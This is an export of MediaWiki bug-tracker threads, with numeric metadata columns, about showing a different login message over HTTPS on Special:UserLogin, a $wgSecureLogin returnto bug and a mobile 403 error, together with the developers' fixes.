33293,check protocol in Special:UserLogin,"With the new 1.18 version, the magic word {{SERVER}} don't allow anymore to check protocol (http or https). 

But there is one place where it is needed : in [[MediaWiki:Loginend]], system message used in [[Special:Connexion]]. We have to check the protocol to provide the good message permitting to the user to go to ""the other"" protocol.

It appears that it is not possible with magic words/wikitext, and it is not possible either to ""patch"" with a javascript feature as JS is disabled in [[Special:Connexion]].

The only solution I've found is to check the protocol in PHP, and provide the system message [[MediaWiki:Loginend]] or [[MediaWiki:Loginend-secure]] (to be created) depending on the result.

The file to update is /includes/templates/Userlogin.php. The class ""UserloginTemplate extends QuickTemplate"", near the end, the folowing line :

<div id=""loginend""><?php $this->msgWiki( 'loginend' ); ?></div>

have to be replaced by something like that :

<div id=""loginend""><?php 
if($PROTOCOL==""https""){
  $this->msgWiki( 'loginend-secure' ); 
}else{
  $this->msgWiki( 'loginend' ); 
}
?></div>


I don-t know exacty how to perform the ($PROTOCOL==""https"") test, I assume that you'll get a solution...

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1317471120,1317677764.0,PHID-USER-bbkjdjw2pvgzrl26x665,False,,False,PHID-TASK-dppnml7afy22rnh4pqjz,task_description,resolved,True,c2,0,False,False,True,-100,True,0.0,0.25,0.0,0.75,0.75,3.75,1.0,0.0,0.0,0.0,1.25,2.5,0.0,0.25,0.25,1.25,0.25,2.0,6.75,0.25,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.25,4.0,1.75,1.0,0.0,0.25,0.25,0.0,0.5,0.25,0.0,0.0,0.0,1.5,0.25,0.25,0.0,0.0,0.5,10.25,0.25,0.0,0.0,0.0,0.25,0.25,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,4.5,2.25,7.5,1.25,1.5,4.75,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,2.5,6.75,3.0,0.5,3.75,0.0,2.5,0.0,0.5,0.5,0.0,0.75,0.0,0.0,5.5,3.583333333333334,0.6474358974358974,"With the new 1.18 version, the magic word {{SERVER}} don't allow anymore to check protocol (http or https). 

But there is one place where it is needed : in [[MediaWiki:Loginend]], system message used in [[Special:Connexion]]. We have to check the protocol to provide the good message permitting to the user to go to ""the other"" protocol.

It appears that it is not possible with magic words/wikitext, and it is not possible either to ""patch"" with a javascript feature as JS is disabled in [[Special:Connexion]].

The only solution I've found is to check the protocol in PHP, and provide the system message [[MediaWiki:Loginend]] or [[MediaWiki:Loginend-secure]] (to be created) depending on the result.

The file to update is /includes/templates/Userlogin.php. The class ""UserloginTemplate extends QuickTemplate"", near the end, the folowing line :

<div id=""loginend""><?php $this->msgWiki( 'loginend' ); ?></div>

have to be replaced by something like that :

<div id=""loginend""><?php 
if($PROTOCOL==""https""){
  $this->msgWiki( 'loginend-secure' ); 
}else{
  $this->msgWiki( 'loginend' ); 
}
?></div>


I don-t know exacty how to perform the ($PROTOCOL==""https"") test, I assume that you'll get a solution...

--------------------------
**Version**: unspecified
**Severity**: normal"
147783,check protocol in Special:UserLogin,"(In reply to comment #11)
> One more problem: https://secure.wikimedia.org/ shows that it's unsecure.
> Example: https://secure.wikimedia.org/wikipedia/ru/wiki/Special:UserLogin
This is fixed now.",,,1317677764,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.8333333333333334,"(In reply to comment #11)
QUOTE
QUOTE
This is fixed now."
147773,check protocol in Special:UserLogin,"**i.am.putnik** wrote:

Sorry, better example link: https://secure.wikimedia.org/wikipedia/ru/wiki/Special:UserLogin?uselang=ru
* ""Обычная авторизация"" (bold - selected) - basic auth
* ""Безопасная авторизация"" (unselected) - secure auth",,,1317666707,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.5365853658536586,0.6097560975609756,"**i.am.putnik** wrote:

Sorry, better example link: URL
* ""Обычная авторизация"" (bold - selected) - basic auth
* ""Безопасная авторизация"" (unselected) - secure auth"
147766,check protocol in Special:UserLogin,"**i.am.putnik** wrote:

One more problem: https://secure.wikimedia.org/ shows that it's unsecure.
Example: https://secure.wikimedia.org/wikipedia/ru/wiki/Special:UserLogin",,,1317666008,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,26.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.260869565217391,0.7391304347826086,"**i.am.putnik** wrote:

One more problem: URL shows that it's unsecure.
Example: URL"
147758,check protocol in Special:UserLogin,"(In reply to comment #9)
> You wrote:
> $usingHTTPS = WebRequest::detectProtocol();
> and next
> if ( $usingHTTPS && ...) { ... }
> 
> I think you mean:
> $usingHTTPS = WebRequest::detectProtocol() == 'https';
> 
> Now always shows loginend-https.
Whoooops. I swear a previous incarnation of my code did have that. Fixed in r98774 and deployed.",,,1317659408,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,28.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,9.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.297872340425532,0.5957446808510638,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Whoooops. I swear a previous incarnation of my code did have that. Fixed in r98774 and deployed."
147750,check protocol in Special:UserLogin,"**i.am.putnik** wrote:

You wrote:
$usingHTTPS = WebRequest::detectProtocol();
and next
if ( $usingHTTPS && ...) { ... }

I think you mean:
$usingHTTPS = WebRequest::detectProtocol() == 'https';

Now always shows loginend-https.",,,1317658993,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.377049180327869,0.5409836065573771,"**i.am.putnik** wrote:

You wrote:
$usingHTTPS = WebRequest::detectProtocol();
and next
if ( $usingHTTPS && ...) { ... }

I think you mean:
$usingHTTPS = WebRequest::detectProtocol() == 'https';

Now always shows loginend-https."
147743,check protocol in Special:UserLogin,"(In reply to comment #6)
> It is not used (yet) in french Wikipedia, but perhaps the same change could be
> done with [[Mediawiki:signupend]] (used in [[Special:UserLogin]] with the ""sign
> up"" form (same php file, 2nd class)) ?
Good point. Done in r98718.",,,1317589704,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,0.7272727272727273,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
Good point. Done in r98718."
147735,check protocol in Special:UserLogin,"(And thank you for the quick answer for ""loginend"")",,,1317587951,,PHID-USER-bbkjdjw2pvgzrl26x665,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,0.8461538461538461,"(And thank you for the quick answer for ""loginend"")"
147728,check protocol in Special:UserLogin,"It is not used (yet) in french Wikipedia, but perhaps the same change could be done with [[Mediawiki:signupend]] (used in [[Special:UserLogin]] with the ""sign up"" form (same php file, 2nd class)) ?",,,1317587843,,PHID-USER-bbkjdjw2pvgzrl26x665,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,7.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.074074074074074,0.6666666666666666,"It is not used (yet) in french Wikipedia, but perhaps the same change could be done with [[Mediawiki:signupend]] (used in [[Special:UserLogin]] with the ""sign up"" form (same php file, 2nd class)) ?"
147724,check protocol in Special:UserLogin,"And as pointed out by Derk-Jan, this fix is live on the cluster already.",,,1317586992,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2777777777777777,1.0,"And as pointed out by Derk-Jan, this fix is live on the cluster already."
147721,check protocol in Special:UserLogin,"(In reply to comment #0)
> <div id=""loginend""><?php 
> if($PROTOCOL==""https""){
>   $this->msgWiki( 'loginend-secure' ); 
> }else{
>   $this->msgWiki( 'loginend' ); 
> }
> ?></div>
> 
Did this in r98707, thanks for the suggestion. I went with loginend-https instead of loginend-secure, though, and made it fall back to loginend if loginend-https doesn't exist.",,,1317586972,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,12.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.421875,0.609375,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Did this in r98707, thanks for the suggestion. I went with loginend-https instead of loginend-secure, though, and made it fall back to loginend if loginend-https doesn't exist."
147718,check protocol in Special:UserLogin,r98708,,,1317586881,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,r98708
147714,check protocol in Special:UserLogin,"I like this solution. avoids introducing new keywords, which we would not want.",,,1317506005,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.1875,0.9375,"I like this solution. avoids introducing new keywords, which we would not want."
147708,check protocol in Special:UserLogin,"Oups...

[[Special:Connexion]] is the french version of [[Special:UserLogin]].",,,1317471537,,PHID-USER-bbkjdjw2pvgzrl26x665,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.130434782608696,0.6521739130434783,"Oups...

[[Special:Connexion]] is the french version of [[Special:UserLogin]]."
33040,"Enabling $wgSecureLogin does not set returnto on ""Log in / create account"" link","When login-in with $wgSecureLogin=true set, all logins return to the Main Page.

Cause:
When $wgSecureLogin=true is set the $login_url['href'] (of SkinTemplate.php) does not set the returnto parameters.

--------------------------
**Version**: 1.17.x
**Severity**: normal",Medium,50.0,1316535900,1345034912.0,PHID-USER-s3mqwzhzumlh2w5g756e,False,,False,PHID-TASK-5lxu426whlsnvndt5675,task_description,resolved,True,c2,0,False,False,True,-102,True,2.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,6.0,8.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.828125,0.640625,"When login-in with $wgSecureLogin=true set, all logins return to the Main Page.

Cause:
When $wgSecureLogin=true is set the $login_url['href'] (of SkinTemplate.php) does not set the returnto parameters.

--------------------------
**Version**: 1.17.x
**Severity**: normal"
150963,"Enabling $wgSecureLogin does not set returnto on ""Log in / create account"" link",patch merged.,,,1345034912,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-5lxu426whlsnvndt5675,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,patch merged.
150954,"Enabling $wgSecureLogin does not set returnto on ""Log in / create account"" link",https://gerrit.wikimedia.org/r/18493,,,1344625237,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5lxu426whlsnvndt5675,task_subcomment,,True,c2,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
150949,"Enabling $wgSecureLogin does not set returnto on ""Log in / create account"" link",reported per CR on r75585,,,1316626394,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5lxu426whlsnvndt5675,task_subcomment,,True,c2,0,True,,,-101,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,reported per CR on r75585
32951,403 HTTP method not allowed.,"**Author:** `RSYQFIOJGWZA`

**Description:**
en.m.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&action=submit
403 HTTP method not allowed.
Error 403 HTTP method not
allowed.
HTTP method not allowed.
Guru Meditation:
XID: 1646037111
Varnish cache server

--------------------------
**Version**: --
**Severity**: normal
**URL**: http://en.m.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&action=submit",Medium,50.0,1316259600,1354749331.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ueiwtrzyvfgttrvynarw,task_description,invalid,True,c2,0,False,False,True,-102,True,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.121621621621622,0.3918918918918919,"**Author:** CODE

**Description:**
en.m.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&action=submit
403 HTTP method not allowed.
Error 403 HTTP method not
allowed.
HTTP method not allowed.
Guru Meditation:
XID: 1646037111
Varnish cache server

--------------------------
**Version**: --
**Severity**: normal
**URL**: URL"
145399,403 HTTP method not allowed.,"This is not quite a duplicate as far as I can tell, but things have changed a LOT since this bug was issued. Login/editing are not supported from the regular mobile site - that said, login and editing for mobile devices are available in the mobile beta (go to the mobile site nav, settings, enable beta). Beta features are fairly experimental, so expect weirdness, and please report bugs. Closing this as invalid.",,,1354749331,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,1,False,,,-38,True,0.0,0.0,0.0,2.0,2.0,8.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,8.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,8.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,7.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9767441860465116,0.7209302325581395,"This is not quite a duplicate as far as I can tell, but things have changed a LOT since this bug was issued. Login/editing are not supported from the regular mobile site - that said, login and editing for mobile devices are available in the mobile beta (go to the mobile site nav, settings, enable beta). Beta features are fairly experimental, so expect weirdness, and please report bugs. Closing this as invalid."
145390,403 HTTP method not allowed.,"This sounds a lot like bug 30772 to me, hence marking as a duplicate.

*** This bug has been marked as a duplicate of bug 30772 ***",,,1350613610,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,1,True,,,-45,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,3.1176470588235294,0.6176470588235294,"This sounds a lot like bug 30772 to me, hence marking as a duplicate.

*** This bug has been marked as a duplicate of bug 30772 ***"
145385,403 HTTP method not allowed.,I also am experiencing an HTTP 403 error when I try to log in.  I'm using the Wikipedia App version 2.2 on an iPod Touch 4th Generation.,,,1319694328,,PHID-USER-vzo36k53hgat5bwuxsn5,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,1,False,,,-96,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,10.0,3.0,6.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,26.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,10.0,10.0,19.0,0.0,0.0,0.0,10.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,3.5483870967741935,0.8709677419354839,I also am experiencing 